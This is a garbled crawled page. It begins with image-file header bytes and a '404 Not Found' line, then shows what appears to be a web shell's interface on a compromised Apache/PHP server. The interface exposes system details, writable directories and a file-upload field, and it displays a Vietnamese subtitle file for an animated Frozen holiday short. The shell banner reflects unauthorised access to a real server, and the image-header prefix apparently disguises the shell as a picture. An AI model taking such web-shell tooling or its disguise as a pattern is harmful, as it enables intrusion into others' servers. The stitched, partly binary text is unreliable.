����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c82d84c0bfd7-1552078924.vtt
WEBVTT - https://subtitletools.com

00:00:08.390 --> 00:00:26.250
Phụ đề Việt ngữ được thực hiện bởi Blog Đào Lê Minh
facebook.com/KenhCuaDaoLeMinh

00:00:26.250 --> 00:00:28.750
..: NỮ HOÀNG BĂNG GIÁ :..
CHUYẾN PHIÊU LƯU CỦA OLAF

00:00:31.390 --> 00:00:32.940
Ngạc nhiên chưa!

00:00:33.100 --> 00:00:34.560
Chưa đâu, Olaf.

00:00:35.650 --> 00:00:36.980
Ngạc nhiên chưa!

00:00:37.150 --> 00:00:38.520
Chưa đâu, Olaf.

00:00:40.070 --> 00:00:41.280
Ngạc nhiên chưa!

00:00:41.950 --> 00:00:43.280
Chưa đâu, Olaf.

00:00:46.990 --> 00:00:48.660
Wow!

00:00:49.370 --> 00:00:50.700
Hế-lô!

00:00:51.660 --> 00:00:53.160
Ngạc nhiên chưa!

00:00:53.460 --> 00:00:55.630
Olaf! Chưa đâu!

00:00:55.790 --> 00:00:56.920
Anna nói đúng đó.

00:00:57.090 --> 00:01:01.090
Tiệc mùa lễ bất ngờ của chúng ta chưa bắt đầu
cho đến khi Chuông thánh chưa rung lên.

00:01:01.670 --> 00:01:03.930
Xin lỗi nha, hồi hộp tới mức
nát cả thân tui luôn á.

00:01:04.090 --> 00:01:05.090
Cảm ơn nha!

00:01:05.800 --> 00:01:06.970
Mình cũng háo hức mà Olaf.

00:01:07.140 --> 00:01:09.890
Đây là giáng sinh đầu tiên
ở Arendelle từ lâu lắm rồi.

00:01:10.060 --> 00:01:12.140
Là cái đầu tiên của nhiều thứ lắm.

00:01:12.350 --> 00:01:14.440
Chị Elsa, kìa!
Họ đang tới đó!

00:01:14.600 --> 00:01:17.440
♪ Look at everyone that'll realize ♪
Nhìn chung quanh đây xem, mọi người không ai hay

00:01:17.610 --> 00:01:20.570
♪ We planned a party as a big surprise ♪
Bao nhiêu bất ngờ chúng ta làm nên bữa tiệc

00:01:21.110 --> 00:01:24.570
♪ Soon the ballroom will echo with sounds of cheer ♪
Nơi khán phòng này đến lúc rộn rã tiếng cười vui

00:01:24.740 --> 00:01:28.240
♪ As we ring in the season this year ♪
Và năm nay chúng ta ăn mừng rộn ràng

00:01:28.410 --> 00:01:31.290
♪ This is overdue, gotta look our best ♪
Thật là nhanh đi thôi, phải nhìn trông xinh nha!

00:01:31.740 --> 00:01:34.830
♪ Ooh, I've never been so nicely dressed ♪
Chưa từng có khi mặc đẹp thế này

00:01:35.000 --> 00:01:38.210
♪ We'll be hosting and toasting the whole night through ♪
Suốt đêm dài ta nâng chúc cho ước mơ ngày mai

00:01:38.380 --> 00:01:41.800
♪ As we ring in the season with you ♪
Và năm nay có em cùng ta ăn mừng

00:01:42.260 --> 00:01:45.090
♪ It's the first Christmas in forever ♪
Mình cùng đón Giáng sinh lần đầu đẹp tươi

00:01:45.260 --> 00:01:48.340
♪ Since we opened up the gates ♪
Từ khi ta rộng mở chào đón

00:01:48.510 --> 00:01:52.020
♪ And it's the first Christmas I remember to date ♪
Và rồi sẽ nhớ Giáng sinh cho lần đầu tiên nô nức

00:01:52.180 --> 00:01:55.730
♪ And it's already worth the wait ♪
Bao nhiêu mong chờ thật xứng đáng!

00:01:57.400 --> 00:02:00.770
♪ Look at all the joy when it's everywhere ♪
Mọi người vui nơi đây cho đến khắp muôn nơi

00:02:00.940 --> 00:02:04.280
♪ I feel the Christmas spirit in the air ♪
Cảm thấy một mùa Giáng sinh tràn đầy nơi này

00:02:04.440 --> 00:02:07.240
♪ And the party will start at the strike of noon ♪
Sẽ bắt đầu tiệc khi ánh nắng đang buông dần xa

00:02:07.410 --> 00:02:11.700
♪ And we'll ring in the season so soon ♪
Và chào đón giáng sinh an lành rất sớm!

00:02:12.370 --> 00:02:15.120
Ê! Kristoff và Sven kìa!

00:02:15.290 --> 00:02:17.500
Và Quả chuông kìa!

00:02:17.670 --> 00:02:19.380
Ủa sao mình hào hứng dữ vậy ta?

00:02:19.540 --> 00:02:23.380
Olaf, Chuông rung lên báo hiệu
mùa lễ đã đến ở Arendelle!

00:02:24.260 --> 00:02:30.390
And it's almost time to ring the bell ♪
Và thời khắc sắp đến, tiếng chuông ngân vang

00:02:30.550 --> 00:02:35.390
We'll hear it chime through Arendelle ♪
Hãy cùng lắng nghe khắp Arendelle

00:02:36.520 --> 00:02:39.270
It's finally here and it's happening fast ♪
Thời gian rồi cũng đến và diễn ra thật là nhanh

00:02:39.440 --> 00:02:42.940
We'll make up for all we have missed in the past ♪
Cùng nhau ta vun đắp lúc khi xưa ta chưa làm nên

00:02:43.110 --> 00:02:45.530
It's time to celebrate ♪
Bây giờ đã đến lúc rồi

00:02:45.690 --> 00:02:54.540
as we ring in the season at last! ♪
Chào đón tiếng chuông vào mùa nhé, cùng nhau!

00:02:59.040 --> 00:03:01.330
Kỳ nghĩ lễ bắt đầu!

00:03:02.840 --> 00:03:04.170
Được rồi, nào!

00:03:04.840 --> 00:03:06.920
Ngạc nhiên chưa!

00:03:08.720 --> 00:03:09.720
Khoan, khoan đã!

00:03:09.880 --> 00:03:11.970
Đợi đã! Về sớm vậy sao?

00:03:12.140 --> 00:03:15.100
Chuông đã ngân rồi.
Chúng thần phải về thực hiện truyền thống gia đình

00:03:15.270 --> 00:03:16.350
là cán bánh mì mềm.

00:03:16.520 --> 00:03:18.770
Chúng thần phải về
nấu cháo hoa cho cô hồn nữa.

00:03:18.940 --> 00:03:21.150
Chúng thần sẽ làm món
truyền thống bordstabelbakkels!
[*Bánh truyền thống dịp giáng sinh của Na Uy]

00:03:21.310 --> 00:03:24.360
Và tui sẽ làm con krumsalakringlikankka!

00:03:24.520 --> 00:03:25.900
Nó có thật đúng hông ta?

00:03:26.070 --> 00:03:27.490
Ô, ông bà nhà Olsen?

00:03:27.650 --> 00:03:30.070
Chào mừng hai vị đến với lâu đài của chúng tôi.

00:03:30.240 --> 00:03:31.660
Xin cảm tạ Nữ hoàng,

00:03:31.820 --> 00:03:35.830
Nhưng Olga và thần có lẽ nên về nhà
đan tất cho đám cháu nội thôi.

00:03:35.990 --> 00:03:37.500
Truyền thống gia đình mà.

00:03:37.660 --> 00:03:42.580
Phải. Và chúng thần không muốn xen vào
truyền thống gia đình của Người đâu.

00:03:44.630 --> 00:03:47.920
Vậy điều bất ngờ là...
mọi người về hết rồi.

00:03:48.090 --> 00:03:50.840
Nè, vậy là họ thiệt thòi thôi.

00:03:50.930 --> 00:03:52.300
Ai cần tiệc lớn làm chi chứ?

00:03:52.390 --> 00:03:53.390
Kristoff?

00:03:53.550 --> 00:03:58.350
Anh có thứ làm cho em vui nè.
Truyền thống anh thích nhất của Thạch yêu.

00:03:58.770 --> 00:04:00.730
- Muốn tham gia không?
- Có!

00:04:01.100 --> 00:04:06.020
Được rồi, nó bắt đầu bằng việc cùng hát.
Bản Ballad của Flemmingrad.

00:04:06.190 --> 00:04:07.440
Mình thích nhạc Ballad!

00:04:07.730 --> 00:04:10.490
♪ Every December, we all gather 'round ♪
Lại đến tháng Mười Hai, chúng ta cùng sum vầy

00:04:10.650 --> 00:04:14.370
♪ To pay our respects to a troll so renowned ♪
Xin được với lòng thành kính với troll tiếng tăm kia

00:04:14.530 --> 00:04:17.290
♪ In remembrance of the friend we had ♪
Vì người bạn mà chúng ta cùng quen

00:04:17.450 --> 00:04:20.080
♪ A jolly old soul we called Flemmingrad ♪
Tâm trí đã qua gọi tên Flemmingrad

00:04:20.160 --> 00:04:21.160
Tăng tông!

00:04:21.330 --> 00:04:23.880
♪ We all dig deep down and we uproot the past ♪
Tìm lại nơi sâu cùng với quá khứ đã xa rồi

00:04:24.040 --> 00:04:26.960
♪ We shove up its nostrils a fist full of grass ♪
Hãy cùng nhét cỏ vào chiếc mũi nó đi thôi

00:04:27.090 --> 00:04:28.090
Mũi sao?

00:04:28.250 --> 00:04:32.840
♪ We shape his likeness, bless his soul ♪
Cùng làm tượng để nguyện cầu cho ông.

00:04:35.390 --> 00:04:36.430
Ghê thiệt.

00:04:36.600 --> 00:04:42.020
♪ Oh, Flemmy the fungus troll ♪
Ôi Thạch yêu Nấm Flemmy!

00:04:44.600 --> 00:04:46.810
Nào em liếm trên trán rồi ước gì đi.

00:04:47.270 --> 00:04:48.270
Ai tiếp nè?

00:04:48.440 --> 00:04:49.570
Elsa, tới chị đó.

00:04:50.240 --> 00:04:52.030
Thử đi, cũng dễ chịu lắm.

00:04:52.530 --> 00:04:54.530
Cô là công chúa mà. Đừng hạ giá!

00:04:54.700 --> 00:04:57.700
Được rồi, không giống kiểu hoàng gia cho lắm.
Tôi hiểu mà.

00:04:57.870 --> 00:05:01.660
Nhưng hãy chờ đến khi được nếm món hầm Flemmy. Truyền thống của tôi.

00:05:01.830 --> 00:05:04.750
Nó có thể có mùi lông ướt,
nhưng nó ngon hết ý luôn đó.

00:05:04.920 --> 00:05:05.960
Thôi, cảm ơn!

00:05:06.130 --> 00:05:07.250
Sáng ăn còn no đó!

00:05:09.840 --> 00:05:11.010
Hóng ghê á!

00:05:11.170 --> 00:05:12.300
Gì vậy, Olaf?

00:05:12.720 --> 00:05:14.470
Gia đình cô có truyền thống gì thế?

00:05:14.630 --> 00:05:16.180
Nói đi, nói đi!

00:05:18.560 --> 00:05:20.930
Chị Elsa, nhà mình có truyền thống gì không?

00:05:22.770 --> 00:05:24.310
Chị có nhớ được không?

00:05:26.940 --> 00:05:29.980
À, chị nhớ là...

00:05:30.650 --> 00:05:35.740
♪ It was long ago, they would ring the bell ♪
Từ ngày xa xưa kia, họ làm chuông ngân vang

00:05:35.910 --> 00:05:41.080
♪ We could hear it chime through Arendelle ♪
Ta có thể lắng nghe khắp Arendelle

00:05:41.410 --> 00:05:46.670
♪ I remember the way that I felt back then ♪
Ký ức về ngày xưa đó như đang quay về đây

00:05:46.830 --> 00:05:51.380
♪ We would ring in the season ♪
Cùng nhau đón tiếng chuông vào mùa

00:05:52.300 --> 00:05:57.890
♪ We would ring in the season ♪
Cùng nhau đón tiếng chuông nồng ấm

00:06:00.260 --> 00:06:04.640
Nhưng tiếng chuông là dành cho cả vương quốc.
Còn nhà mình thì sao?

00:06:05.940 --> 00:06:09.980
Sau khi cổng thành đóng lại,
chúng ta chưa từng ở cùng nhau.

00:06:11.690 --> 00:06:12.820
Chị Elsa?

00:06:12.980 --> 00:06:14.400
Xin lỗi em, Anna.

00:06:14.780 --> 00:06:16.950
Vì lỗi của chị mà chúng ta
không có truyền thống gia đình.

00:06:17.110 --> 00:06:18.110
Khoan đã, Chị Elsa...

00:06:30.380 --> 00:06:33.130
Sven! Anna và Elsa
không có truyền thống gia đình gì hết!

00:06:34.300 --> 00:06:37.090
Tui biết là buồn,
nhưng tui có giải pháp nè!

00:06:37.260 --> 00:06:40.300
Chúng ta sẽ đi tìm truyền thống
mà Anna và Elsa từng thấy

00:06:40.470 --> 00:06:43.260
và mang nó về lâu đài!
Đi với tui hông?

00:06:43.680 --> 00:06:44.720
Ow!

00:06:45.100 --> 00:06:48.060
Cùng đi tìm truyền thống cho họ nào!

00:06:50.270 --> 00:06:51.610
Ngôi nhà đầu tiên.

00:06:52.900 --> 00:06:54.440
Wow, quá tuyệt.

00:06:55.860 --> 00:06:56.900
Tới đây!

00:06:57.990 --> 00:06:59.490
Chào buổi trưa.
Tui là Olaf và...

00:06:59.660 --> 00:07:00.780
Chào Olaf!

00:07:00.950 --> 00:07:02.870
Hãy cho tui nói tiếp,
và tui thích ôm lắm đó.

00:07:03.030 --> 00:07:04.910
Đây là bạn đi cùng tui, Sven.

00:07:05.080 --> 00:07:07.710
Tụi tui đang đi từng nhà để tìm kiếm
những truyền thống gia đình.

00:07:07.870 --> 00:07:10.120
Kể nghe xem để tụi tui quyết
nó đủ đặc biệt hay không.

00:07:10.290 --> 00:07:12.130
Chúng tôi làm kẹo que cùng với nhau.

00:07:15.340 --> 00:07:16.630
Quá trời đường!

00:07:16.800 --> 00:07:18.130
Cậu phải ăn nó mới phải.

00:07:18.680 --> 00:07:21.300
Ăn mũi tui sao?
Làm sao mà ăn được?

00:07:21.470 --> 00:07:24.100
Vì đây là mùa lễ mà!

00:07:25.220 --> 00:07:28.020
Mùa lễ trong năm mà!

00:07:38.530 --> 00:07:42.070
♪ Happy, merry, holly jolly, season's greetings here ♪
Chung quanh ta là những niềm vui hạnh phúc khắp nơi tưng bừng

00:07:42.240 --> 00:07:46.160
♪ I'm wondering what your family does at that time of year ♪
Còn tui muốn biết nhà bạn vui vẻ dịp đó hay làm sao

00:07:46.330 --> 00:07:49.830
♪ Love and joy and peace on Earth and tidings of good cheer ♪
Yêu thương nhau và hòa bình là niềm vui của thế giời này

00:07:50.040 --> 00:07:53.750
♪ Do you have tradition things for that time of year? ♪
Bạn tôi ơi lúc này có những điều truyền thống gì hay?

00:07:53.920 --> 00:07:57.840
♪ Well, we hang a thousand evergreen on every single doorway ♪
Bao nhiêu dây gai xanh xinh tươi được treo trên những cánh cửa này

00:07:58.010 --> 00:08:01.760
♪ Bake a giant cookie in the wavy shape of Norway ♪
Hay cái bánh Na Uy cho ra thật nhiều những chiếc bánh lớn này

00:08:01.930 --> 00:08:05.510
♪ Go from door to door to door while singing with our choirs ♪
Đi chung quanh nơi đây reo vui bằng nhiều lời ca tiếng hát này

00:08:05.680 --> 00:08:10.270
♪ Hang up all your giant socks above an open fire ♪
Chiếc bít tất không lâu sẽ được treo lên bên trên những chiếc lò

00:08:10.690 --> 00:08:12.650
♪ That sounds safe! ♪
Có vẻ an toàn!

00:08:13.100 --> 00:08:17.030
♪ So happy, merry, yuletide carol, faithful friends are dear ♪
Ta hân hoan cùng đón Giáng sinh vui tươi đến khắp mọi người

00:08:17.190 --> 00:08:22.200
♪ Thanks for sharing what you do at that time of year ♪
Cảm ơn vì đã sẻ chia những thứ hay ho trong dịp này!

00:08:22.780 --> 00:08:26.160
Tốt nhất là mình nên nhanh lên
nếu muốn thăm mọi ngôi nhà trong vương quốc!

00:08:27.580 --> 00:08:30.410
♪ Jolly, merry, happy holly on a midnight clear ♪
Bao vui tươi hạnh phúc sẽ đến luôn chiếu soi sáng trong đêm dài

00:08:30.960 --> 00:08:34.250
♪ I'm here to ask you what you do at that time of year ♪
Và rồi trong giây phút đó nhà bạn đã biết làm gì chưa?

00:08:34.540 --> 00:08:38.000
Chào, mùa đông, hạnh phúc,
yên bình, chiếc đèn thật lộng lẫy.

00:08:38.170 --> 00:08:41.720
♪ I'm looking for tradition stuff for that time of year ♪
Dịp này tôi luôn đi kiếm chính là truyền thống thật là hay

00:08:41.880 --> 00:08:45.090
♪ Well, we make our decorations out of flotsam and jetsam ♪
Chắc tận dụng lại đồ lụm được để mà một mình đem trang trí thôi

00:08:45.260 --> 00:08:49.100
♪ Bake a yummy fruit cake and you can't leave 'til you get some ♪
Chẳng thể nào rời bước khi chưa ăn xong một ít bánh trái cây

00:08:49.270 --> 00:08:50.680
Xuyên qua luôn!

00:08:50.850 --> 00:08:54.150
♪ Buy each other presents and then hide them very nimbly ♪
Chọn mua thật nhiều quà và rồi mình sẽ đem chúng nó giấu đi

00:08:54.310 --> 00:08:57.900
♪ Wait up for a chubby man to shimmy down your chimney ♪
Để đêm khuya có một ông già bự con chui qua ống khói nhà

00:08:58.070 --> 00:09:00.650
Đột nhập vào nhà, với giáng sinh thì ok!

00:09:00.820 --> 00:09:04.570
♪ Oh, happy merry muletide barrel, faithful glass of cheer ♪
Những niềm vui hạnh phúc sẽ đến khắp nơi với bao an lành

00:09:04.740 --> 00:09:10.370
♪ Thanks for sharing what you do at that time of year ♪
Cảm ơn vì đã sẻ chia những thứ hay ho trong dịp này

00:09:10.540 --> 00:09:11.960
Cảm ơn!

00:09:12.120 --> 00:09:15.500
♪ We knit scarves and sweaters and we wear our matching mittens ♪
Găng tay thêm khăn len đều cùng một bộ được đan chung với nhau

00:09:15.670 --> 00:09:19.250
♪ Don't forget the jammies that I knitted for my kittens ♪
Đừng quên là nhiều đồ đẹp này là dành cho lũ mèo

00:09:19.420 --> 00:09:22.920
♪ Eight nights in a row we light menorahs on our mantles ♪
Thêm bao nhiêu lung linh đèn cầy luôn được châm sáng đúng tám đêm

00:09:23.090 --> 00:09:29.260
Đi cắt một cái cây
rồi trang hoàng cái xác bằng đèn cầy.

00:09:32.350 --> 00:09:33.810
♪ Mình thích quá!

00:09:37.650 --> 00:09:43.950
♪ Anna and Elsa, we have all that they need ♪
Anna với Elsa, ta đã có tất cả rồi!

00:09:44.280 --> 00:09:49.530
♪ I'll fill my sleigh here with the help of my steed ♪
Bạn tôi sẽ giúp tôi kéo cái xe chất đầy

00:09:49.700 --> 00:09:52.870
♪ It'll be the best time of year ♪
Sẽ là ngày đẹp nhất trong một năm

00:09:53.040 --> 00:09:55.960
♪ It's up to you ♪
Dựa vào bạn

00:09:56.170 --> 00:09:59.090
♪ Up to me ♪
Họ chọn tôi

00:09:59.170 --> 00:10:00.130
♪ Up to... ♪
Dựa vào...

00:10:00.210 --> 00:10:01.210
♪ Meowww....

00:10:03.340 --> 00:10:09.550
♪ Oh, happy, merry, Mele Kaliki, holly jolly, happy tappy! ♪
Nào ta cùng nhảy nhót với nhau, khi vui với bao nhiêu hạnh phúc bé nhỏ

00:10:09.720 --> 00:10:11.810
♪ A chubby man will soon appear ♪
Ông già bự con sẽ đến sớm thôi

00:10:11.970 --> 00:10:13.980
♪ and faithful friends or tiny deer ♪
và tuần lộc thân yêu quý của tôi

00:10:14.140 --> 00:10:15.980
♪ And festive tidings midnight clear ♪
Và tin vui đến trước khi hết ngày

00:10:16.140 --> 00:10:18.020
Tôi có thể để bánh xe ở đây?

00:10:18.190 --> 00:10:23.320
♪ Of that time of year ♪
Thời gian đẹp nhất trong năm

00:10:27.240 --> 00:10:28.410
Nhà cuối cùng, Sven.

00:10:28.570 --> 00:10:32.370
Tui có linh cảm rằng đây sẽ là
nhà có truyền thống tuyệt vời nhất!

00:10:32.540 --> 00:10:33.660
Hoo-hoo!

00:10:33.830 --> 00:10:35.160
Xin chào?

00:10:35.330 --> 00:10:39.000
Gia đình sẽ ông sẽ làm gì
vào thời khắc này trong năm?

00:10:42.380 --> 00:10:45.420
Tắm hơi trong đêm giáng sinh
thấy thích không chàng người tuyết kỳ diệu tò mò?

00:10:45.590 --> 00:10:47.430
Yeah!

00:10:47.590 --> 00:10:51.010
Không gì đã hơn gỡ cục than ra...
Ông hiểu ý tui chứ?

00:10:51.180 --> 00:10:54.600
Rắc rối của tui cứ thế mà tan chảy.

00:10:55.770 --> 00:11:00.440
Giờ mới nhớ ra, xông hơi mùa lễ không dành cho
những ai làm bằng tuyết đâu.

00:11:02.900 --> 00:11:04.860
Tui thấy tui mới quá.
Thấy tui tỏa sáng không?

00:11:05.780 --> 00:11:07.740
Đây là phòng tắm hơi cho bằng hữu!

00:11:07.900 --> 00:11:09.740
Cảm ơn ông Wandering Oaken.

00:11:09.860 --> 00:11:10.870
Một điều nữa.

00:11:11.030 --> 00:11:13.620
Liệu tui có thể lấy một trong những chiếc khăn

00:11:13.790 --> 00:11:16.040
kỳ cục nhưng đầy màu sắc truyền thống
mà gia đình ông thích quàng không?

00:11:16.200 --> 00:11:17.580
Lấy cái của tôi nha?

00:11:19.460 --> 00:11:20.960
Ấm ghê đó.

00:11:21.290 --> 00:11:25.760
Trời tuyết đang rơi đầy,
còn truyền thống trên xe trượt

00:11:25.880 --> 00:11:29.340
Cùng bước tiến tới lâu đài,
để cứu giáng sinh buồn thiu

00:11:29.430 --> 00:11:30.430
Ho, ho, ho

00:11:30.430 --> 00:11:32.430
Dự tính chẳng khuyết điểm nào.
Điều gì có thể ngăn được--

00:11:38.270 --> 00:11:39.520
Tránh được khủng hoảng rồi.

00:11:50.280 --> 00:11:53.660
Nhìn kìa, một chú tuần lộc khác đang đi hướng ngược lại!

00:11:53.780 --> 00:11:54.780
Chào!

00:12:12.800 --> 00:12:15.680
Wow, chúng ta đang đi chung thiệt dzui đó!

00:12:30.700 --> 00:12:32.860
Ui! Lửa tắt rồi kìa!

00:12:34.570 --> 00:12:35.990
Chán thật!

00:12:45.380 --> 00:12:48.380
Anna, chị nợ em một lời xin lỗi về chuyện lúc trước.

00:12:49.340 --> 00:12:50.380
Anna?

00:12:59.600 --> 00:13:00.680
Chị Elsa!

00:13:01.020 --> 00:13:02.940
Anna! Em làm gì trên này thế?

00:13:03.100 --> 00:13:04.350
Đi tìm truyền thống đó.

00:13:06.060 --> 00:13:07.940
Em đội cái gì thế?

00:13:08.400 --> 00:13:09.610
Cái mũ viking cũ của em...

00:13:09.780 --> 00:13:12.240
và áo choàng phù thủy của em!

00:13:12.400 --> 00:13:13.910
Xương của rồng nè!

00:13:15.620 --> 00:13:17.580
Em thích để nó trong thùng hơn. Còn chị?

00:13:17.740 --> 00:13:19.080
Găng tay là chính.

00:13:19.620 --> 00:13:22.250
Đúng vậy. Từng hàng từng dãy găng tay satin.

00:13:24.790 --> 00:13:27.210
Phải, chào mừng đến với thế giới của chị.

00:13:27.380 --> 00:13:29.300
Khoan đã, cậu nhóc này là ai?

00:13:29.750 --> 00:13:32.050
Ngài Jorgenbjorgen!

00:13:33.090 --> 00:13:35.260
Cậu ta rất biết lắng nghe.

00:13:37.430 --> 00:13:40.890
Anna, làm sao mình tìm được truyền thống gì ở trên này?

00:13:44.140 --> 00:13:45.140
Trừ phi...

00:13:46.440 --> 00:13:47.770
Cái gì?

00:13:48.400 --> 00:13:49.400
Em nhìn đi.

00:13:53.900 --> 00:13:54.990
Được rồi, Sven.

00:13:55.150 --> 00:13:58.450
Tui không có nói quá đâu,
nhưng đây thực sự rất thất vọng!

00:13:59.780 --> 00:14:01.240
Cái này chắc là cứu được nè.

00:14:01.410 --> 00:14:02.500
Không, chắc không được rồi.

00:14:02.660 --> 00:14:04.830
Chắc mấy thứ này vẫn còn tốt...

00:14:05.000 --> 00:14:07.330
Không, hàng dỏm rồi.

00:14:07.920 --> 00:14:09.630
Ê, cái bánh!

00:14:09.790 --> 00:14:12.170
Cái này không thể bị phá hủy được!

00:14:12.340 --> 00:14:15.300
Tôi sẽ bắt đường tắt
có vẻ như vô hại này...

00:14:15.470 --> 00:14:17.800
và hẹn gặp cậu ở lâu đài, được chưa?

00:14:19.800 --> 00:14:21.810
Ui, cún cưng!

00:14:22.180 --> 00:14:23.180
Bình tĩnh nào mấy đứa!

00:14:24.310 --> 00:14:26.270
Tui đi liền đây!

00:14:33.280 --> 00:14:35.610
Sven! Món hòn Flemmy xong rồi nè!

00:14:35.780 --> 00:14:37.950
Anna và Elsa sẽ thích cho coi.

00:14:38.530 --> 00:14:40.990
"Kristoff, anh chu đáo thiệt đó.

00:14:41.160 --> 00:14:42.660
"Bát của tui đâu nè?"

00:14:42.830 --> 00:14:44.200
Bình tĩnh nào anh bạn.

00:14:44.370 --> 00:14:45.370
Của cậu đây.

00:14:47.120 --> 00:14:48.630
Cậu đang làm...

00:14:50.000 --> 00:14:51.000
Tất nhiên rồi!

00:14:51.540 --> 00:14:53.170
"Thêm cà rốt!"

00:14:53.340 --> 00:14:54.880
Lòng tham không đáy đúng không nhể?

00:15:08.520 --> 00:15:10.190
Ôi không! Olaf bị lạc trong rừng sao?

00:15:10.360 --> 00:15:12.020
Và bị bầy sói đuổi theo sao?

00:15:12.820 --> 00:15:14.360
À, chắc vậy rồi.

00:15:14.530 --> 00:15:16.570
Rung chuông đi!
Tập trung mọi người lại!

00:15:18.400 --> 00:15:21.700
Đi nào Sven! Thể hiện tình bạn đi chứ?
Olaf cần chúng ta giúp

00:15:26.040 --> 00:15:27.040
Làm ơn.

00:15:27.830 --> 00:15:29.460
Tui biết mấy cậu đói,

00:15:29.620 --> 00:15:32.750
nhưng tui cần một truyền thống
cho bạn thân của tui!

00:15:32.920 --> 00:15:35.960
Số phận cả thế giới phụ thuộc vào nó!

00:15:42.100 --> 00:15:43.100
Yeah!

00:15:43.260 --> 00:15:44.890
Thành công rồi!

00:15:45.060 --> 00:15:48.390
Cứu được một truyền thống rồi!

00:15:58.240 --> 00:16:01.910
Mình cá là con chim ưng
cũng cần truyền thống nữa ha.

00:16:04.450 --> 00:16:11.920
♪ Happy, merry, holly jolly tidings of good cheer ♪
Giáng sinh an lành, hân hoan vui tươi

00:16:14.290 --> 00:16:20.590
♪ I never meant to let them down at that time of year ♪
Thật lòng tôi không muốn thấy họ buồn vì tôi vì ngày nay

00:16:27.270 --> 00:16:29.930
Có lẽ mình lạc rồi.

00:17:01.720 --> 00:17:03.300
Olaf!

00:17:03.470 --> 00:17:04.800
Olaf, cậu đâu rồi?

00:17:04.970 --> 00:17:06.350
Cậu ở đâu thì bước ra đi!

00:17:06.470 --> 00:17:07.560
Có dấu vết gì không?

00:17:07.640 --> 00:17:08.640
Không!

00:17:08.810 --> 00:17:09.890
Olaf?

00:17:10.390 --> 00:17:11.480
Olaf?

00:17:11.640 --> 00:17:13.480
Olaf? Cậu đâu vậy?

00:17:13.650 --> 00:17:16.190
Cậu ấy không ở đây.

00:17:20.360 --> 00:17:22.900
Không biết cậu ấy đi đâu ha?

00:17:23.070 --> 00:17:27.200
Có lẽ cậu ta đã đi làm nhiệm vụ
tìm truyền thống cho Anna và Elsa.

00:17:28.030 --> 00:17:29.080
Và cậu ấy có tìm ra gì không?

00:17:29.240 --> 00:17:30.330
Có...

00:17:30.500 --> 00:17:34.170
rồi chúng đã bắt lửa
rồi rớt khỏi vách đá.

00:17:34.330 --> 00:17:36.420
Và rồi lại bắt lửa lần nữa.

00:17:37.710 --> 00:17:39.750
Và chim ưng lấy mất tiêu.

00:17:41.840 --> 00:17:43.010
Tui xin lỗi.

00:17:43.170 --> 00:17:45.260
Tới giờ hai người vẫn chả có truyền thống.

00:17:45.430 --> 00:17:47.350
Có chứ, Olaf.

00:17:47.510 --> 00:17:48.680
Nhìn này.

00:17:51.350 --> 00:17:52.390
Khoan...

00:17:53.520 --> 00:17:54.690
Có phải...

00:17:54.850 --> 00:17:57.610
Anna đã làm từ lâu rồi.

00:17:58.060 --> 00:17:59.230
Khi lần đầu tạo ra cậu.

00:17:59.400 --> 00:18:00.860
"Chào, mình là Olaf".

00:18:01.190 --> 00:18:03.860
Cậu chính là người đưa chúng tôi lại gần nhau.

00:18:04.240 --> 00:18:07.570
và giúp hai chị em tôi kết nối
khi bị chia cắt

00:18:12.750 --> 00:18:14.370
Mỗi mùa giáng sinh...

00:18:15.710 --> 00:18:17.380
tôi đều làm quà cho Elsa.

00:18:18.790 --> 00:18:21.380
Suốt bao năm dài cô đơn...

00:18:23.300 --> 00:18:26.380
chúng tôi có cậu nhắc nhở mình
về thời thơ ấu.

00:18:26.550 --> 00:18:29.930
Chúng tôi vẫn thương nhau đến chừng nào.

00:18:31.100 --> 00:18:33.140
Là cậu đó Olaf.

00:18:33.310 --> 00:18:35.230
Cậu chính là truyền thống của chúng tôi đó.

00:18:35.390 --> 00:18:36.560
Tôi?

00:18:36.730 --> 00:18:38.060
Ngạc nhiên chưa?

00:18:40.650 --> 00:18:43.030
♪ Sure, it's nice to open a gift ♪
Những phần quà, ước muốn luôn trong tôi

00:18:43.030 --> 00:18:47.320
♪ that's tied up with a perfect bow ♪
cùng chiếc nơ buộc chặt món quà

00:18:47.910 --> 00:18:50.620
♪ But the great present of all ♪
Điều tuyệt vời lớn nhất trong nhân gian

00:18:50.780 --> 00:18:54.250
♪ was given to me long ago ♪
cùng với tôi trong một ngày đẹp tươi

00:18:54.370 --> 00:18:57.040
♪ It's something I would never trade, ♪
Một điều khắc ghi trong con tim này

00:18:57.120 --> 00:18:58.120
Olaf!

00:18:58.290 --> 00:19:00.500
♪ it's the family that we've made ♪
Chính gia đình chúng ta bên nhau

00:19:00.670 --> 00:19:04.590
♪ 'Cause when we're together, ♪
Vì khi hai ta bên cạnh

00:19:04.760 --> 00:19:08.090
♪ I have everything on my list ♪
Mọi điều em ước muốn đã có được

00:19:08.300 --> 00:19:11.600
♪ And when we're together ♪
Và khi hai ta bên cạnh

00:19:11.760 --> 00:19:15.350
♪ I have all I wished ♪
Mọi điều ước đã đến

00:19:16.100 --> 00:19:18.440
♪ All around the Christmas tree ♪
Giữa cây thông mọi người quây quần

00:19:18.600 --> 00:19:21.980
♪ there'll be dreams coming true ♪
Và mơ ước sẽ thành nên

00:19:22.150 --> 00:19:25.360
♪ But when we're together ♪
Nhưng khi ta đến với nhau

00:19:25.530 --> 00:19:30.950
♪ then my favorite gift is you ♪
món quà tuyệt vời chính là em

00:19:36.450 --> 00:19:39.120
♪ I would travel miles and miles ♪
Ta sẽ đi đến những nơi xa xăm chân trời

00:19:39.290 --> 00:19:42.670
♪ and I would follow any star ♪
và bước theo những ngôi sao sáng ngời

00:19:42.840 --> 00:19:45.300
♪ I'd go almost any place ♪
Và sẽ đi bất cứ nơi nào

00:19:45.460 --> 00:19:48.680
♪ if it's any place you are ♪
chỉ cần là chúng ta bên nhau

00:19:48.840 --> 00:19:51.970
♪ 'Cause when we're together ♪
Vì khi hai ta bên cạnh

00:19:52.140 --> 00:19:55.520
♪ I'll forever feel at home ♪
Tổ ấm thân quen như trở về

00:19:55.680 --> 00:19:58.480
♪ And when we're together ♪
